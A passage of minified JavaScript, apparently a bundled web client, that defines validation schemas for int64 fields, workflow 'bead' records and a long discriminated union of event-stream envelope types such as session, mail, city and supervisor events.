9223372036854775807"}),max_attempts:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional()}),uv=h({assignee:o().optional(),attempt:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}).optional(),id:o(),kind:o(),logical_bead_id:o().optional(),metadata:fe(o(),o()),scope_ref:o().optional(),status:o(),step_ref:o().optional(),title:o()});h({closed:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),deleted:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),partial:Z().optional(),partial_errors:P(o()).nullish(),workflow_id:o()});const eu=h({from:o(),kind:o().optional(),to:o()});h({beads:P(fr).nullable(),deps:P(eu).nullable(),root:fr});const L=h({attempt_summary:C5.optional(),bead:uv,changed_fields:P(o()).nullable(),event_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),event_ts:o(),event_type:o(),logical_node_id:o(),requires_resync:Z().optional(),root_bead_id:o(),root_store_ref:o(),scope_kind:o(),scope_ref:o(),type:o(),watch_generation:o(),workflow_id:o(),workflow_seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});h({actor:o(),message:o().optional(),payload:lv.optional(),run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:o(),workflow:L.optional()});h({actor:o(),city:o(),message:o().optional(),payload:lv.optional(),run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:o(),workflow:L.optional()});const T5=h({actor:o(),message:o().optional(),payload:gr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("bead.closed"),workflow:L.optional()}),B5=h({actor:o(),message:o().optional(),payload:gr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("bead.created"),workflow:L.optional()}),R5=h({actor:o(),message:o().optional(),payload:gr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("bead.updated"),workflow:L.optional()}),P5=h({actor:o(),message:o().optional(),payload:ni,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.created"),workflow:L.optional()}),N5=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.resumed"),workflow:L.optional()}),A5=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.suspended"),workflow:L.optional()}),O5=h({actor:o(),message:o().optional(),payload:ni,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.unregister_requested"),workflow:L.optional()}),j5=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("controller.started"),workflow:L.optional()}),$5=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("controller.stopped"),workflow:L.optional()}),L5=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("convoy.closed"),workflow:L.optional()}),D5=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("convoy.created"),workflow:L.optional()}),M5=h({actor:o(),message:o().optional(),payload:Jn(),run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:o(),workflow:L.optional()}),F5=h({actor:o(),message:o().optional(),payload:Tu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("events.rotated"),workflow:L.optional()}),U5=h({actor:o(),message:o().optional(),payload:ti,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.adapter_added"),workflow:L.optional()}),Z5=h({actor:o(),message:o().optional(),payload:ti,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.adapter_removed"),workflow:L.optional()}),q5=h({actor:o(),message:o().optional(),payload:yu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.bound"),workflow:L.optional()}),V5=h({actor:o(),message:o().optional(),payload:xu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.group_created"),workflow:L.optional()}),W5=h({actor:o(),message:o().optional(),payload:Eu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.inbound"),workflow:L.optional()}),H5=h({actor:o(),message:o().optional(),payload:Iu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.outbound"),workflow:L.optional()}),G5=h({actor:o(),message:o().optional(),payload:Mu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.unbound"),workflow:L.optional()}),J5=h({actor:o(),message:o().optional(),payload:Au,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("gc.store.maintenance.done"),workflow:L.optional()}),K5=h({actor:o(),message:o().optional(),payload:Ou,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("gc.store.maintenance.failed"),workflow:L.optional()}),Q5=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.archived"),workflow:L.optional()}),Y5=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.deleted"),workflow:L.optional()}),X5=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.marked_read"),workflow:L.optional()}),ex=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.marked_unread"),workflow:L.optional()}),tx=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.read"),workflow:L.optional()}),nx=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.replied"),workflow:L.optional()}),rx=h({actor:o(),message:o().optional(),payload:mt,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("mail.sent"),workflow:L.optional()}),ox=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("order.completed"),workflow:L.optional()}),ix=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("order.failed"),workflow:L.optional()}),ax=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("order.fired"),workflow:L.optional()}),sx=h({actor:o(),message:o().optional(),payload:bu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("pg.credential_resolved"),workflow:L.optional()}),lx=h({actor:o(),message:o().optional(),payload:zu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("project.identity.stamped"),workflow:L.optional()}),ux=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("provider.swapped"),workflow:L.optional()}),cx=h({actor:o(),message:o().optional(),payload:Cu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.failed"),workflow:L.optional()}),dx=h({actor:o(),message:o().optional(),payload:_u,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.city.create"),workflow:L.optional()}),px=h({actor:o(),message:o().optional(),payload:wu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.city.unregister"),workflow:L.optional()}),fx=h({actor:o(),message:o().optional(),payload:ju,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.session.create"),workflow:L.optional()}),mx=h({actor:o(),message:o().optional(),payload:Pu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.session.message"),workflow:L.optional()}),vx=h({actor:o(),message:o().optional(),payload:Nu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("request.result.session.submit"),workflow:L.optional()}),hx=h({actor:o(),message:o().optional(),payload:yr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.crashed"),workflow:L.optional()}),gx=h({actor:o(),message:o().optional(),payload:Ru,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.drain_acked_with_assigned_work"),workflow:L.optional()}),yx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.draining"),workflow:L.optional()}),_x=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.idle_killed"),workflow:L.optional()}),wx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.max_age_killed"),workflow:L.optional()}),xx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.quarantined"),workflow:L.optional()}),Ex=h({actor:o(),message:o().optional(),payload:yr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.stopped"),workflow:L.optional()}),Ix=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.stranded"),workflow:L.optional()}),Sx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.suspended"),workflow:L.optional()}),kx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.undrained"),workflow:L.optional()}),bx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.updated"),workflow:L.optional()}),zx=h({actor:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.woke"),workflow:L.optional()}),Cx=h({actor:o(),message:o().optional(),payload:yr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("session.work_query_failed"),workflow:L.optional()}),Tx=h({actor:o(),message:o().optional(),payload:$u,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("supervisor.fs_pressure.skipped_tick"),workflow:L.optional()}),Bx=h({actor:o(),message:o().optional(),payload:Lu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("supervisor.shutdown_requested"),workflow:L.optional()}),Rx=h({actor:o(),message:o().optional(),payload:Fu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("worker.operation"),workflow:L.optional()}),cv=Hm("type",[T5.extend({type:x("bead.closed")}),B5.extend({type:x("bead.created")}),R5.extend({type:x("bead.updated")}),P5.extend({type:x("city.created")}),N5.extend({type:x("city.resumed")}),A5.extend({type:x("city.suspended")}),O5.extend({type:x("city.unregister_requested")}),j5.extend({type:x("controller.started")}),$5.extend({type:x("controller.stopped")}),L5.extend({type:x("convoy.closed")}),D5.extend({type:x("convoy.created")}),F5.extend({type:x("events.rotated")}),U5.extend({type:x("extmsg.adapter_added")}),Z5.extend({type:x("extmsg.adapter_removed")}),q5.extend({type:x("extmsg.bound")}),V5.extend({type:x("extmsg.group_created")}),W5.extend({type:x("extmsg.inbound")}),H5.extend({type:x("extmsg.outbound")}),G5.extend({type:x("extmsg.unbound")}),J5.extend({type:x("gc.store.maintenance.done")}),K5.extend({type:x("gc.store.maintenance.failed")}),Q5.extend({type:x("mail.archived")}),Y5.extend({type:x("mail.deleted")}),X5.extend({type:x("mail.marked_read")}),ex.extend({type:x("mail.marked_unread")}),tx.extend({type:x("mail.read")}),nx.extend({type:x("mail.replied")}),rx.extend({type:x("mail.sent")}),ox.extend({type:x("order.completed")}),ix.extend({type:x("order.failed")}),ax.extend({type:x("order.fired")}),sx.extend({type:x("pg.credential_resolved")}),lx.extend({type:x("project.identity.stamped")}),ux.extend({type:x("provider.swapped")}),cx.extend({type:x("request.failed")}),dx.extend({type:x("request.result.city.create")}),px.extend({type:x("request.result.city.unregister")}),fx.extend({type:x("request.result.session.create")}),mx.extend({type:x("request.result.session.message")}),vx.extend({type:x("request.result.session.submit")}),hx.extend({type:x("session.crashed")}),gx.extend({type:x("session.drain_acked_with_assigned_work")}),yx.extend({type:x("session.draining")}),_x.extend({type:x("session.idle_killed")}),wx.extend({type:x("session.max_age_killed")}),xx.extend({type:x("session.quarantined")}),Ex.extend({type:x("session.stopped")}),Ix.extend({type:x("session.stranded")}),Sx.extend({type:x("session.suspended")}),kx.extend({type:x("session.undrained")}),bx.extend({type:x("session.updated")}),zx.extend({type:x("session.woke")}),Cx.extend({type:x("session.work_query_failed")}),Tx.extend({type:x("supervisor.fs_pressure.skipped_tick")}),Bx.extend({type:x("supervisor.shutdown_requested")}),Rx.extend({type:x("worker.operation")}),M5.extend({type:x("TypedEventStreamEnvelopeCustom")})]);h({items:P(cv).nullable(),next_cursor:o().optional(),partial:Z().optional(),partial_errors:P(o()).nullish(),total:w().min(BigInt("-9223372036854775808"),{error:"Invalid value: Expected int64 to be >= -9223372036854775808"}).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"})});const Px=h({actor:o(),city:o(),message:o().optional(),payload:gr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("bead.closed"),workflow:L.optional()}),Nx=h({actor:o(),city:o(),message:o().optional(),payload:gr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("bead.created"),workflow:L.optional()}),Ax=h({actor:o(),city:o(),message:o().optional(),payload:gr,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("bead.updated"),workflow:L.optional()}),Ox=h({actor:o(),city:o(),message:o().optional(),payload:ni,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.created"),workflow:L.optional()}),jx=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.resumed"),workflow:L.optional()}),$x=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.suspended"),workflow:L.optional()}),Lx=h({actor:o(),city:o(),message:o().optional(),payload:ni,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("city.unregister_requested"),workflow:L.optional()}),Dx=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("controller.started"),workflow:L.optional()}),Mx=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("controller.stopped"),workflow:L.optional()}),Fx=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("convoy.closed"),workflow:L.optional()}),Ux=h({actor:o(),city:o(),message:o().optional(),payload:ve,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("convoy.created"),workflow:L.optional()}),Zx=h({actor:o(),city:o(),message:o().optional(),payload:Jn(),run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:o(),workflow:L.optional()}),qx=h({actor:o(),city:o(),message:o().optional(),payload:Tu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("events.rotated"),workflow:L.optional()}),Vx=h({actor:o(),city:o(),message:o().optional(),payload:ti,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.adapter_added"),workflow:L.optional()}),Wx=h({actor:o(),city:o(),message:o().optional(),payload:ti,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.adapter_removed"),workflow:L.optional()}),Hx=h({actor:o(),city:o(),message:o().optional(),payload:yu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.bound"),workflow:L.optional()}),Gx=h({actor:o(),city:o(),message:o().optional(),payload:xu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.group_created"),workflow:L.optional()}),Jx=h({actor:o(),city:o(),message:o().optional(),payload:Eu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 9223372036854775807"}),session_id:o().optional(),step_id:o().optional(),subject:o().optional(),ts:N({offset:!0}),type:x("extmsg.inbound"),workflow:L.optional()}),Kx=h({actor:o(),city:o(),message:o().optional(),payload:Iu,run_id:o().optional(),seq:w().gte(BigInt(0)).max(BigInt("9223372036854775807"),{error:"Invalid value: Expected int64 to be <= 